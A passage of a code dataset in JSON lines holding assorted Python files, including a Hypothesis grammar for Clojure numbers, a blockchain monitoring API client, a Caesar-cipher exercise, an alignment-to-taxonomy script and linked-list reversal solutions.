\"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef double_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n #\n left_of_dot = draw(integers(min_value=0))\n #\n has_dot_part = draw(booleans())\n if has_dot_part:\n dot_part = f'.{draw(integers(min_value=0))}'\n else:\n dot_part = \"\"\n #\n has_exp_part = draw(booleans())\n if has_exp_part:\n e_or_E = draw(one_of(just(\"E\"), just(\"e\")))\n exp_sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n exp_num = draw(integers(min_value=0))\n exp_part = f'{e_or_E}{exp_sign}{exp_num}'\n else:\n exp_part = \"\"\n #\n end_m = draw(one_of(just(\"\"), just(\"M\")))\n #\n num_str = f'{sign}{left_of_dot}{dot_part}{exp_part}{end_m}'\n #\n return {\"inputs\": num_str,\n \"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef integer_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n #\n i = draw(integers(min_value=0))\n #\n m_or_n = draw(one_of(just(\"\"), just(\"M\"), just(\"N\")))\n #\n num_str = f'{sign}{i}{m_or_n}'\n #\n return {\"inputs\": num_str,\n \"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef number_items(draw,\n label=label,\n verify=verify):\n #\n num_item = draw(one_of(radix_number_items(label=label,\n verify=verify),\n hex_number_items(label=label,\n verify=verify),\n octal_number_items(label=label,\n verify=verify),\n ratio_items(label=label,\n verify=verify),\n double_items(label=label,\n verify=verify),\n integer_items(label=label,\n verify=verify)))\n return num_item\n","repo_name":"sogaiu/hypothesis-grammar-clojure","sub_path":"hypothesis_grammar_clojure/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25702897727","text":"from .base_module import Module\nfrom ..utils import check_type\n\n\nclass Customer(Module):\n _CREATE_CUSTOMER = '/monitor/one'\n _GET_CUSTOMER_DETAILS = '/monitor/one/{token}'\n _EDIT_CUSTOMER = '/monitor/one/{token}'\n _GET_CUSTOMERS = '/monitor/list'\n _GET_CUSTOMER_ADDRESSES = '/monitor/one/{token}/addresses'\n\n _WITH_TOTALS = (0, 1)\n _ORDERS = ('last_added', 'n_txs', 'amount', 'fiat', 'risky_volume', 'risky_volume_fiat')\n _DIRECTIONS = ('asc', 'desc')\n\n def create_customer(self, name: str, note=None) -> dict:\n \"\"\"\n Method for creating a new customer. In the response you will receive unique token corresponding to the customer\n\n :param name: Customer identifier. Please avoid using sensitive data.\n :param note: Comments for the customer\n :return:\n {'data': {'token': 'IaePi4f7T4cUCKik'},\n 'meta': {'calls_left': 19976,\n 'calls_used': 24,\n 'error_code': 0,\n 'error_message': '',\n 'riskscore_profile': {'id': 111, 'name': 'test'},\n 'server_time': 1585305641}}\n \"\"\"\n check_type(name, str)\n\n params = {\n 'name': name,\n }\n if note:\n check_type(note, str)\n params['note'] = note\n\n response = self._crystal.session().post(\n url=self._to_endpoint(self._CREATE_CUSTOMER),\n params=params\n )\n\n self._raise_for_error(response)\n\n return response.json()\n\n def get_customer_details(self, token: str) -> dict:\n \"\"\"\n Viewing customer details\n\n :param token: Token corresponding to the customer\n :return:\n {'data': {'amount_deposit': {'0': 0},\n 'amount_withdrawal': {'0': 0},\n 'archived': False,\n 'created_at': 1585307008,\n 'fiat_deposit': 0,\n 'fiat_withdrawal': 0,\n 'last_added': None,\n 'n_addresses': 0,\n 'n_archived': 0,\n 'n_flagged': 0,\n 'n_txs': 0,\n 'name': 'C#11224',\n 'note': '213',\n 'risky_volume': {'0': 0},\n 'risky_volume_fiat': 0,\n 'token': 'lhN7gPURdSQ5t3Aa',\n 'updated_at': 1585307008,\n 'updating': False},\n 'meta': {'calls_left': 19945,\n 'calls_used': 55,\n 'error_code': 0,\n 'error_message': '',\n 'fiat_code': 'usd',\n 'riskscore_profile': {'id': 111, 'name': 'test'},\n 'server_time': 1585307211}}\n \"\"\"\n check_type(token, str)\n\n response = self._crystal.session().get(\n url=self._to_endpoint(self._GET_CUSTOMER_DETAILS.format(token=token)),\n )\n\n self._raise_for_error(response)\n\n return response.json()\n\n def edit_customer(self, token: str, archived=None, name=None, note=None) -> dict:\n \"\"\"\n Edit customer name or notes\n\n :param token: Token corresponding to the customer\n :param archived: Archive or unarchive transfer (True or False)\n :param name: Customer identified. Please avoid using sensitive data.\n :param note: Comments for the customer\n :return:\n {'data': {'amount_deposit': {'0': 0.0},\n 'amount_withdrawal': {'0': 0.0},\n 'archived': True,\n 'created_at': 1585307008,\n 'fiat_deposit': 0,\n 'fiat_withdrawal': 0,\n 'last_added': None,\n 'n_addresses': 0,\n 'n_archived': 0,\n 'n_flagged': 0,\n 'n_txs': 0,\n 'name': 'newName123',\n 'note': 'newNote111',\n 'risky_volume': {'0': 0.0},\n 'risky_volume_fiat': 0,\n 'token': 'lhN7gPURdSQ5t3Aa',\n 'updated_at': 1585308233,\n 'updating': False},\n 'meta': {'calls_left': 19905,\n 'calls_used': 95,\n 'error_code': 0,\n 'error_message': '',\n 'fiat_code': 'usd',\n 'riskscore_profile': {'id': 111, 'name': 'test'},\n 'server_time': 1585308258}}\n \"\"\"\n check_type(token, str)\n\n params = {}\n if archived:\n check_type(archived, bool)\n params['archived'] = None # TODO разобраться, почему api не принимает параметр\n if name:\n check_type(name, str)\n params['name'] = name\n if note:\n check_type(note, str)\n params['note'] = note\n\n response = self._crystal.session().post(\n url=self._to_endpoint(self._EDIT_CUSTOMER.format(token=token)),\n params=params\n )\n\n self._raise_for_error(response)\n\n return response.json()\n\n def get_customers(\n self,\n with_total=None,\n offset=None,\n limit=None,\n order=None,\n direction=None,\n filter_dict=None\n ) -> dict:\n \"\"\"\n Viewing customer details for all customers matching the specified parameters\n\n :param with_total: Default=0 [1, 0]\n :param offset: Default=0\n :param limit: The value ranges between 1 and 20000\n :param order: Default='last_added' ('last_added','n_txs','amount','fiat','risky_volume','risky_volume_fiat')\n :param direction: ('asc', 'desc' )\n :param filter_dict:\n {\n archived: boolean, example=false\n amount_deposit_from: number, example=431460000\n amount_deposit_to: number, example=431460000\n fiat_deposit_from: number, example=4314600\n fiat_deposit_to: number, example=4314600\n amount_withdrawal_from:\tnumber, example=431460000\n amount_withdrawal_to: number, example=431460000\n fiat_withdrawal_from: number, example=4314600\n Minimum amount withdrawn by customer, in selected fiat\n fiat_withdrawal_to: number, example=4314600\n n_txs_from: integer, example=5\n n_txs_to: integer, example=10\n risky_volume_from: number, example=100000000\n risky_volume_to: number, example=200000000\n risky_volume_fiat_from: number, example=10000\n risky_volume_fiat_to: number, example=20000\n last_added_from: number, example=1561007720\n last_added_to: number, example=1561007720\n term: string, example=test customer\n }\n :return:\n {'data': [{'archived': True,\n 'created_at': 1585307008,\n 'fiat_deposit': 0,\n 'fiat_withdrawal': 0,\n 'last_added': None,\n 'n_addresses': 0,\n 'n_archived': 0,\n 'n_flagged': 0,\n 'n_txs': 0,\n 'name': 'newName123',\n 'note': 'newNote111',\n 'risky_volume_fiat': 0,\n 'token': 'lhN7gPURdSQ5t3Aa',\n 'updated_at': 1585308233}, ...],\n 'meta': {'calls_left': 19904,\n 'calls_used': 96,\n 'error_code': 0,\n 'error_message': '',\n 'fiat_code': 'usd',\n 'riskscore_profile': {'id': 111, 'name': 'test'},\n 'server_time': 1585309373}}\n \"\"\"\n params = {}\n\n if with_total:\n if with_total not in self._WITH_TOTALS:\n raise ValueError('Check \"with_total\" value')\n params['with_total'] = with_total\n if offset:\n params['offset'] = offset\n if limit:\n params['limit'] = limit\n if order:\n if order not in self._ORDERS:\n raise ValueError('Check \"order\" value')\n params['order'] = order\n if direction:\n if direction not in self._DIRECTIONS:\n raise ValueError('Check \"direction\" value')\n params['direction'] = direction\n if filter_dict:\n check_type(filter_dict, dict)\n params['filter'] = self._filter_to_str(filter_dict)\n\n response = self._crystal.session().post(\n url=self._to_endpoint(self._GET_CUSTOMERS),\n params=params\n )\n\n self._raise_for_error(response)\n\n return response.json()\n\n def get_customer_addresses(self, token: str) -> dict:\n \"\"\"\n Viewing addresses associated with the customer\n\n :param token: Token corresponding to the customer\n :return:\n {'data': [...],\n 'meta': {'calls_left': 19901,\n 'calls_used': 99,\n 'error_code': 0,\n 'error_message': '',\n 'riskscore_profile': {'id': 111, 'name': 'test'},\n 'server_time': 1585313641}}\n \"\"\"\n check_type(token, str)\n\n response = self._crystal.session().get(\n url=self._to_endpoint(self._GET_CUSTOMER_ADDRESSES.format(token=token)),\n )\n\n self._raise_for_error(response)\n\n return response.json()\n","repo_name":"a1ex-kaufmann/crystal-blockchain-python","sub_path":"crystal_blockchain/modules/customer_module.py","file_name":"customer_module.py","file_ext":"py","file_size_in_byte":9474,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31963714146","text":"class Account:\n\n\tdef __init__(self,owner,balance):\n\t\tself.owner = owner\n\t\tself.balance = balance\n\n\tdef deposit(self,d_amount):\n\t\tself.balance += d_amount\n\t\tprint(f\"{d_amount} deposited\")\n\n\tdef withdraw(self,w_amount):\n\t\tif w_amount <= self.balance:\n\t\t\tself.balance -= w_amount\n\t\t\tprint(f\"{w_amount} withdrawn.\")\n\t\telse:\n\t\t\tprint(f\"{w_amount} is not available.\")\n\ncs1 = Account('Ramen',300)\nprint(cs1.owner)\nprint(cs1.balance)\ncs1.withdraw(100)\ncs1.withdraw(250)\ncs1.deposit(100)\ncs1.withdraw(250)\nprint(cs1.balance)","repo_name":"aowashim/python-programs","sub_path":"account_class.py","file_name":"account_class.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12506266134","text":"'''\r\nThose pesky Romans are about to attack your village.\r\nLuckily your spies have managed to intercept letters from their general and you hope that one of them contains information about the timing of the attack.\r\nThere's only one problem; they are encrypted!\r\n\r\nThe Romans use an encryption system which is based on shifting the letters of the alphabet.\r\nFor example,\r\nthe word ATTACK becomes CVVCEM when the letters are shifted by 2 (A -> C, T -> V, K -> M). In order to decrypt those message,\r\nyou just have to find out by how many letters you must shift each character.\r\n\r\nAs you look at the encrypted messages,\r\nyou notice a pattern. The first line is always the same length. Hmm,\r\ncould this be a greeting of some sorts, you ask yourself.\r\n\r\nKdlo/#Fdhvdu$\r\n\r\nUsing an ASCII table and pen and paper, you try different shifts until you finally crack it. The first line says:\r\n\r\nHail, Caesar!\r\n\r\nThis is brilliant! Now you can figure out which shift was used just by looking at the first character!\r\n\r\nSince you have a large number of messages to decrypt, each of which may have been encrypted with a different shift,\r\nyou decide to write a program to do so. But hurry, the fate of your village may depend on your programming skills.\r\nInput and Output\r\n\r\nEvery message is exactly 4 lines. Given the following input:\r\n\r\n Jckn.\"Ecguct#\r\n Dg\"tgcf{\"hqt\"cvvcem\r\n Fqp)v\"ngv\"vjg\"gpgo{\"ugg\"{qw\r\n Ocmg\"uwtg\"Dtwvwu\"uvc{u\"swkgv\r\n\r\nthe program should print out the decrypted message, which in this case is:\r\n\r\n Hail, Caesar!\r\n Be ready for attack\r\n Don't let the enemy see you\r\n Make sure Brutus stays quiet\r\n\r\nHints\r\n\r\nPython has two built-in methods, ord()and chr(), which convert letters to numbers and vice versa.\r\n\r\nAll encrypted strings and all decrypted strings should consist of letters belonging the set of \"printable characters\" in the ASCII table,\r\ni.e. characters numbered from 32 to 126 inclusive.\r\nTake care to wrap numbers around should they be shifted outside of this range.\r\n\r\nPython strings are iterable.\r\n'''\r\n\r\n\r\n'''\r\n# Read exactly four lines of input\r\nline1 = \"Mfnq1%Hfjxfw&\"\r\nline2 = \"Mt|%nx%ymj%|jfymjwD\"\r\nline3 = \"Ny,x%{jw~%mty%t{jw%mjwj3\"\r\nline4 = \"ux3%Gwzyzx%ktwlty%mnx%xfsifqx3\"\r\n'''\r\n# Read exactly four lines of input\r\nline1 = input()\r\nline2 = input()\r\nline3 = input()\r\nline4 = input()\r\n\r\n# Define variables for the range of numbers within which we have 'printable' characters.\r\n# As we shift the input characters, we must ensure that they stay within this range.\r\nLOW = ord(\" \") # 32\r\nHIGH = ord(\"~\") # 126\r\n\r\n# Every transmission starts with the line \"Hail Caesar!\" so the first letter,\r\n# once decrypted, must be H.\r\nfirst_letter = line1[0]\r\n# ...now find out what the key is\r\n\r\nh_num = ord(\"H\")\r\nnum = ord(first_letter)\r\n\r\nshifted = num - h_num\r\n\r\n# We can use 'for' to iterate over the lines and decrypt them one by one\r\nfor line in (line1, line2, line3, line4):\r\n # ... and the rest is up to you\r\n for letter in line:\r\n ord_num = ord(letter)\r\n\r\n new_ord_num = ord_num - shifted\r\n\r\n if new_ord_num < 32:\r\n # 32 = ord_num - x\r\n x = ord_num - 32\r\n\r\n new_shifted = shifted - x\r\n\r\n new_ord_num = 127 - shifted\r\n\r\n elif new_ord_num > 126:\r\n # 126 = ord_num - x\r\n x = ord_num - 126\r\n\r\n new_shifted = shifted - x\r\n\r\n new_ord_num = 31 - shifted\r\n\r\n new_letter = chr(new_ord_num)\r\n print(new_letter, end=\"\")\r\n\r\n print()","repo_name":"Illugi317/forritun","sub_path":"mimir/assignment4+/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25558595363","text":"#!/usr/bin/env python\ndesc=\"\"\"Parse alignments (SAM or blast8) and report organism summary.\n\"\"\"\nepilog=\"\"\"Author:\nl.p.pryszcz@gmail.com\n\nMizerow, 28/02/2014\n\"\"\"\n\nimport argparse, gzip, os, re, sys\nimport numpy as np\nimport sqlite3\nfrom datetime import datetime\nfrom Bio import SeqIO\nfrom taxonomy import Taxonomy\n\n#cigar patterns\nspat = re.compile('\\d+[HSI]') #split at hardclip/softclip/indels\ncpat = re.compile('[MD]') #\n\ndef cigar2mlen(cigar):\n \"\"\"Return match length from cigar. This is the last aligned\n ref position. May need adjustment!\n \"\"\"\n #remove soft clipped and insertions into ref and the get\n aligned = cpat.split(\"\".join(spat.split(cigar)))\n return sum(int(x) for x in aligned if x)\n\ndef get_matches_sam(samstream, verbose):\n \"\"\"Parse SAM and yield matches\"\"\"\n pread = \"\"\n pmapq = 0\n hits = []\n for l in samstream:\n #skip SAM header\n if l.startswith('@'):\n continue\n #rname, flag, ref, pos, mapq, cigar, mref, mpos, isize, seq, quals = l.split('\\t')\n try:\n rname, flag, ref, pos, mapq, cigar = l.split('\\t')[:6]\n except:\n sys.stderr.write(\"[Warning] Cannot parse SAM line: %s\\n\"%str(l.split('\\t')[:6]))\n continue\n #you may also need comment (if spaces in read name)\n #unmapped\n if ref == \"*\":\n #use megablast optionally\n #just to count properly reads!\n yield None, []\n continue\n #\n flag, pos, mapq = int(flag), int(pos), int(mapq)\n #store\n if pread != rname:\n if hits:\n yield pread, hits \n hits = []\n pread = rname\n pmapq = 0\n #skip hits with lower mapping\n #consider some more sophisticated way of checking\n #as for long reads parts can align to many chr\n if mapq < pmapq:\n continue\n #get gi int\n if ref.startswith(\"gi|\"):\n ref = int(ref.split(\"|\")[1])\n #store hit and mapq\n pmapq = mapq\n mlen = cigar2mlen(cigar)\n hits.append((ref, pos, pos+mlen))\n \n #store last bit\n if hits:\n yield pread, hits\n \ndef get_matches_blast8(input, verbose):\n \"\"\"Return matches from blast8 or rapsi output.\"\"\"\n pscore = q = pq = 0\n hits = [] \n for line in input:\n if line.startswith(\"#\") or q!=pq:\n #report previous hits\n if hits:\n yield pq, hits\n hits = []\n pscore = 0\n pq = q\n continue\n ldata = line[:-1].split('\\t')\n #blast\n if len(ldata)==12:\n q, ref, ident, m, matches, gaps, qs, qe, ts, te, e, score = ldata\n start, end = int(ts), int(te)\n if ts>te:\n start, end = end, start\n #rapsi\n else:\n q, ref, ident, overlap, score, e, mmatches, gaps, alen, qranges, tranges = ldata\n start = int(tranges.split()[0].split('-')[0])\n end = int(tranges.split()[-1].split('-')[1])\n if float(score) < pscore:\n continue\n #get gi int\n if ref.startswith(\"gi|\"):\n ref = int(ref.split(\"|\")[1])\n #store match\n hits.append((ref, start, end))\n pscore = float(score)\n if hits:\n yield \"None\", hits\n \ndef get_taxa(hits, taxa, verbose):\n \"\"\"Return taxa and genes matched by given read.\n Return None if htaxid appears in hits.\n \"\"\"\n taxid2gi = {}\n #process each match\n for gi, pos, end in hits:\n #get taxid\n taxid = taxa.gi2taxid(gi)\n if not taxid: \n if verbose:\n sys.stderr.write(\"[Warning] No taxid for gi: %s\\n\"%gi)\n continue\n #add taxa\n mdata = (gi, pos, end)\n if taxid not in taxid2gi:\n taxid2gi[taxid] = [mdata]\n else:\n taxid2gi[taxid].append(mdata)\n \n #get most occuring taxa as representative\n #taxid = sorted(taxid2gi.keys(), key=lambda x: len(taxid2gi[x]), reverse=True)[0]\n\n #no taxa matched\n if not taxid2gi:\n return None, []\n #one taxa matched - spp or strain\n elif len(taxid2gi) == 1:\n taxid, matches = taxid2gi.popitem()\n ##or genus or family instead of strain/species!\n else:\n taxid = taxa.collapse_taxa(taxid2gi.keys())\n if not taxid:\n return None, []\n matches = [mdata for t, mdata in taxid2gi.iteritems()]\n return taxid, matches\n \ndef hits2taxa(input, out, db, verbose, limit=0): \n \"\"\"Process fastq from input file.\n You may play with bufsize, so processes runs without waiting.\n \"\"\"\n #init taxonomy\n taxa = Taxonomy(db)\n\n #hadle gzipped/bzip2 stream\n if input.name.endswith('.gz'):\n input = gzip.open(input.name)\n elif input.name.endswith('.bz2'):\n import bz2\n input = bz2.BZ2File(input.name)\n #get match generator\n if input==sys.stdin:\n line0 = input.readline()\n if line0.startswith('@'):\n mGenerator = get_matches_sam(input, verbose)\n else:\n mGenerator = get_matches_blast8(input, verbose)\n #get sam stream\n elif input.name.endswith(('.sam','.sam.gz')):\n mGenerator = get_matches_sam(input, verbose)\n else:\n mGenerator = get_matches_blast8(input, verbose)\n\n #process reads in 1K batches?print \n if verbose:\n sys.stderr.write(\"[%s] Processing reads from %s ...\\n\"%(datetime.ctime(datetime.now()), input.name))\n #get taxa and genes\n taxid2reads = {}\n taxid2matches = {}\n k = 0\n for i, (rname, hits) in enumerate(mGenerator, 1):\n if limit and i>limit:\n break\n if not rname:\n continue\n #print info\n if verbose and i%1e4 == 1:\n sys.stderr.write(\" %s parsed. %.2f%s with taxa \\r\"%(i, k*100.0/i, '%'))\n #get taxa\n taxid, matches = get_taxa(hits, taxa, verbose)\n if not taxid: \n continue\n k += 1\n if taxid not in taxid2reads:\n taxid2reads[taxid] = 0 \n #store read name & genes\n taxid2reads[taxid] += 1\n\n #report\n if not taxid2reads:\n sys.exit(\"No matches found!\")\n ##foreign reads\n freads = sum(reads for taxid, reads in taxid2reads.iteritems())\n header = \"#name\\ttaxid\\treads\\t%\\n\"\n out.write(header)\n out.write(\"%s\\t%s\\t%s\\t%.2f\\n\"%(\"unknown\", \"-\", i-freads, 100.0*(i-freads)/i))\n for taxid, reads in sorted(taxid2reads.iteritems(), key=lambda x: x[1], reverse=True)[:10]: \n out.write(\"%s\\t%s\\t%s\\t%.2f\\n\"%(taxa[taxid][1], taxid, reads, 100.0*reads/i))\n #print summary\n sys.stderr.write(\"[hits2taxa] %s entries processed!\\n\" % (i,))\n\ndef main():\n usage = \"src/%(prog)s -v\"\n parser = argparse.ArgumentParser(usage=usage, description=desc, epilog=epilog)\n \n parser.add_argument(\"-v\", dest=\"verbose\", default=False, action=\"store_true\", help=\"verbose\") \n parser.add_argument('--version', action='version', version='1.0') \n parser.add_argument(\"-d\", \"--db\", default=\"taxonomy.db3\",\n help=\"taxonomy path [%(default)s]\")\n parser.add_argument(\"-i\", \"--input\", type=file, default=sys.stdin,\n help=\"input sam stream [stdin]\")\n parser.add_argument(\"-o\", \"--output\", default=sys.stdout, type=argparse.FileType(\"w\"), \n help=\"output stream [stdout]\")\n parser.add_argument(\"-l\", \"--limit\", default=0, type=int, \n help=\"no. of reads to process and rows of tables to load [all]\")\n \n o = parser.parse_args()\n if o.verbose:\n sys.stderr.write(\"[hits2taxa] Options: %s\\n\"%str(o))\n\n hits2taxa(o.input, o.output, o.db, o.verbose, o.limit)\n\t\nif __name__=='__main__': \n t0 = datetime.now()\n try:\n main()\n except KeyboardInterrupt:\n sys.stderr.write(\"\\n[hits2taxa] Ctrl-C pressed! \\n\")\n dt = datetime.now()-t0\n sys.stderr.write( \"[hits2taxa] Time elapsed: %s\\n\" % dt )\n","repo_name":"lpryszcz/rapsi","sub_path":"hits2taxa.py","file_name":"hits2taxa.py","file_ext":"py","file_size_in_byte":8102,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"24273819151","text":"import ast\nfrom importlib import import_module\nfrom itertools import chain\nfrom pathlib import Path\nfrom typing import List, Type\n\nfrom .core import ColAssigner\n\n\nclass MethodDef:\n def __init__(self, stmt: ast.FunctionDef, bases):\n self.name = stmt.name\n self.bases = set(bases)\n self.uses = set()\n self._adds(*stmt.body)\n\n def _add(self, elem: ast.AST):\n if isinstance(elem, ast.stmt):\n self._add_stmt(elem)\n elif isinstance(elem, ast.expr):\n self._add_expr(elem)\n else:\n self._add_other(elem)\n\n def _add_stmt(self, elem: ast.stmt):\n basic_stmts = (ast.Assign, ast.Return, ast.keyword, ast.Expr, ast.Starred)\n sub = ()\n if isinstance(elem, basic_stmts):\n sub = (elem.value,)\n if isinstance(elem, ast.If):\n sub = (elem.test, *elem.body, *elem.orelse)\n if isinstance(elem, ast.For):\n sub = (elem.iter, *elem.body)\n if isinstance(elem, ast.Try):\n sub = (*elem.handlers, *elem.body)\n # ast.Pass, ast.Raise ok\n return self._adds(*sub)\n\n def _add_expr(self, elem: ast.expr):\n sub = ()\n if isinstance(elem, (ast.List, ast.Tuple)):\n sub = elem.elts\n if isinstance(elem, ast.Lambda):\n sub = [elem.body]\n if isinstance(elem, ast.Slice):\n sub = (elem.lower, elem.upper)\n if isinstance(elem, ast.Attribute):\n base = elem.value\n if isinstance(base, ast.Name) and (base.id in [*self.bases, \"self\"]):\n return self.uses.add(elem.attr)\n sub = [base]\n if isinstance(elem, ast.Call):\n sub = (elem.func, *elem.args, *elem.keywords)\n if isinstance(elem, ast.BinOp):\n sub = (elem.left, elem.right)\n if isinstance(elem, ast.Subscript):\n sub = (elem.value, elem.slice)\n if isinstance(elem, ast.Compare):\n sub = (elem.left, *elem.comparators)\n # ast.Constant, ast.Name ok\n self._adds(*sub)\n\n def _add_other(self, elem):\n sub = ()\n if isinstance(elem, ast.ExceptHandler):\n sub = elem.body\n if isinstance(elem, ast.keyword):\n sub = [elem.value]\n self._adds(*sub)\n\n def _adds(self, *args):\n return list(map(self._add, args))\n\n\nclass ClsParser:\n def __init__(self, stmt: ast.ClassDef) -> None:\n self.name = stmt.name\n self._resolvers = {}\n self._mds: List[MethodDef] = []\n for fundef in stmt.body:\n md = MethodDef(fundef, [self.name])\n if md.name.startswith(\"_\"):\n self._resolvers[md.name] = md.uses\n else:\n self._mds.append(md)\n\n def get_edges(self):\n return chain(*map(self._iter_mc, self._mds))\n\n def _iter_mc(self, md: MethodDef):\n for source in md.uses:\n if source.startswith(\"_\"):\n for sub in self._resolve(source):\n yield (sub, md.name)\n else:\n yield (source, md.name)\n\n def _resolve(self, source, resolved=()):\n for sub in self._resolvers.get(source, []):\n if sub in [source, *resolved]:\n continue\n resolved = (sub, *resolved)\n if sub.startswith(\"_\"):\n for ssub in self._resolve(sub, resolved):\n yield ssub\n else:\n yield sub\n\n\ndef get_dag(cls: Type[ColAssigner]):\n \"\"\"generates a dag of the reliances of columns\n based on the ast of a colassigner\n\n Parameters\n ----------\n cls : Type[ColAssigner]\n\n Returns\n -------\n list of edges of a dag\n\n BETA! - WIP\n\n rules:\n - explicitly access columns within other functions\n - no external function referencing column (only method of assigner class)\n - no common source in as attributes\n - self should always be named self\n \"\"\"\n fp = import_module(cls.__module__).__file__\n asm = ast.parse(Path(fp).read_text(), filename=fp)\n for stmt in asm.body:\n if isinstance(stmt, ast.ClassDef) and stmt.name == cls.__name__:\n return [*ClsParser(stmt).get_edges()]\n","repo_name":"endremborza/colassigner","sub_path":"colassigner/dag_from_ast.py","file_name":"dag_from_ast.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29078613757","text":"from __future__ import print_function\nfrom plumbum import cli, local\nfrom .. import read_project_yml\nimport sys\nfrom ..csvs import readCaselist\nfrom . import ParamApp\nimport glob\n\n\ndef _print(s=''):\n print(s, file=sys.stderr)\n\n\ndef _printVertical(d, prepend='', keys=None, fd=sys.stderr):\n if not keys:\n keys = d.keys()\n for k in keys:\n fd.write(\"{}{:<25} {:<15}\".format(prepend, k, d[k]) + '\\n')\n\n\nclass Ls(ParamApp):\n \"\"\"List pipeline file paths.\"\"\"\n\n print_csv = cli.Flag(\n ['-c', '--csv'],\n excludes=['-s'],\n help=\"Print subject ids and paths separated by comma\")\n\n print_caseid_only = cli.Flag(\n ['-s', '--subjid'],\n excludes=['-c'],\n help=\"Print case/subject ids instead of paths\")\n\n ignore_caseids = cli.SwitchAttr(\n ['-e', '--except'], default=\"\", help=\"Ignore this list of caseids\")\n\n print_missing = cli.Flag(\n ['-x', '--missing'],\n default=False,\n excludes=['-a'],\n help=\"Print missing file paths instead of existing ones\")\n\n print_all = cli.Flag(\n ['-a', '--all'],\n excludes=['-x'],\n default=False,\n help=\"Print file path whether it exists or not\")\n\n def main(self, tag):\n if tag == 'caseid' or tag == 'caselist':\n print(\"Not a valid tag\")\n sys.exit(1)\n\n ignore_caseids = self.ignore_caseids.split()\n if len(ignore_caseids) == 1 and './' in ignore_caseids[0]:\n ignore_caseids = interpret_caseids(ignore_caseids[0])\n\n yml = read_project_yml()\n self.validate(len(yml['pipelines']))\n\n for paramid, pipeline in enumerate(yml['pipelines'],1):\n if self.paramid and self.paramid != paramid:\n continue\n if not self.paramid and tag not in pipeline['paths'].keys():\n continue\n\n caseids = readCaselist(pipeline['paths']['caselist'])\n combo = {k:v for (k,v) in pipeline['parameters'].items() \\\n if k not in ['caseid', 'caselist']}\n print(\n \"## Pipeline {} ({} cases)\".format(paramid,\n len(caseids)),\n file=sys.stderr)\n _print(\"Parameters:\")\n _printVertical(combo)\n print('', file=sys.stderr)\n\n _print(\"Paths:\")\n template_path = pipeline['paths'][tag]\n placeholder = pipeline['paths']['caseid_placeholder']\n for caseid in caseids:\n globpath = template_path.replace(placeholder, caseid)\n paths = glob.glob(globpath) or [globpath]\n for path in paths:\n path = local.path(path)\n if self.print_missing == path.exists(\n ) and not self.print_all:\n continue\n if self.print_caseid_only:\n print('{}'.format(caseid))\n continue\n if self.print_csv:\n sys.stdout.write('{},'.format(caseid))\n print(path)\n _print()\n","repo_name":"reckbo/pnldash","sub_path":"pnldash/cli/ls.py","file_name":"ls.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23012908612","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 16 13:47:06 2021\n\n@author: Matthias\n\"\"\"\n\nimport unittest\nimport numpy as np\n\nclass TestNumpy(unittest.TestCase):\n \n def test_min_nan(self):\n # facts (given)\n data = np.array([3.0, np.nan, 4.0])\n # act (when)\n res = np.min(data)\n # verify (then)\n self.assertTrue(np.isnan(res))\n \n def test_nanmin_nan(self):\n # facts (given)\n data = np.array([3.0, np.nan, 4.0])\n # act (when)\n res = np.nanmin(data)\n # verify (then)\n self.assertEqual(res, 3.0)\n \nif __name__ == '__main__':\n unittest.main()\n ","repo_name":"matthcol/quality202109","sub_path":"python/test_numpy.py","file_name":"test_numpy.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31827834176","text":"\"\"\"\n\n206. Reverse Linked List\nEasy\n\n10767\n\n184\n\nAdd to List\n\nShare\nGiven the head of a singly linked list, reverse the list, and return the reversed list.\n\n \n\nExample 1:\n\n\nInput: head = [1,2,3,4,5]\nOutput: [5,4,3,2,1]\nExample 2:\n\n\nInput: head = [1,2]\nOutput: [2,1]\nExample 3:\n\nInput: head = []\nOutput: []\n \n\nConstraints:\n\nThe number of nodes in the list is the range [0, 5000].\n-5000 <= Node.val <= 5000\n \n\nFollow up: A linked list can be reversed either iteratively or recursively. Could you implement both?\n\n\n\"\"\"\n\n\n# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n prev = None\n curr = head\n nex = None\n\n while curr and curr.next:\n nex = curr.next\n curr.next = prev\n prev = curr\n curr = nex\n if curr:\n curr.next = prev\n return curr\n\n\n# Recursive Solution\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head == None:\n return head\n self.new_head = None\n\n def reverse(node, parent):\n if node.next == None:\n self.new_head = node\n node.next = parent\n return\n reverse(node.next, node)\n node.next = parent\n reverse(head, None)\n return self.new_head\n","repo_name":"UdayKiranPadhy/DS-And-Algo","sub_path":"Data Structures/Linked List/28-Reverse Linked List.py","file_name":"28-Reverse Linked 